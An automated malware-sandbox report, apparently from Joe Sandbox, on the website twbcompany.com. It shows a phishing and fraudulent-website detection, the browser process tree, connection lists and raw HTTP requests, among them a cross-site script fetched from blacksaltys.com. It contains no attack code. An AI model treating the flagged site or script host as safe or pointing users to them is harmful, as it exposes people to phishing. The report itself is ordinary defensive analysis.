Edit tour

Windows Analysis Report
http://twbcompany.com

Overview

General Information

Sample URL:	http://twbcompany.com
Analysis ID:	1528020
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4460 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1772 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2472 --field-trial-handle=2436,i,2595597613527207929,13109168744014609588,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4324 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://twbcompany.com" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: http://twbcompany.com

SlashNext: detection malicious, Label: Fraudulent Website type: Phishing & Social Engineering

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49932 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 51MB

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: twbcompany.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /2016/wp-includes/css/dist/block-library/style.min.css?ver=6.5.4 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles.css?ver=4.6.9 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/style.min.css?ver=1 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/style.css?ver=6.5.4 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-1.11.3.min.js?ver=1.11.3 HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/fonts/fontello/css/fontello.css HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/cf7-gated-content/js/cf7_gated_content.js?ver=1 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/font-lightcase.css HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-default.css HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-max-640.css HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-1.11.3.min.js?ver=1.11.3 HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-min-641.css HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/script.min.js?ver=1 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/js/modernizr.js?ver=2.8.3 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/logo-twb-main.svg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-14001.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/cf7-gated-content/js/cf7_gated_content.js?ver=1 HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/fonts/fontello/font/fontello.woff?96939179 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.twbcompany.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/fonts/fontello/css/fontello.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/logo-twb-main.svg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/script.min.js?ver=1 HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/js/modernizr.js?ver=2.8.3 HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/sprites-ico-footer-arrows.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2017/08/IMG_4093_red-paint-removed.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/twc-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/twb-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/flags.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-14001.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
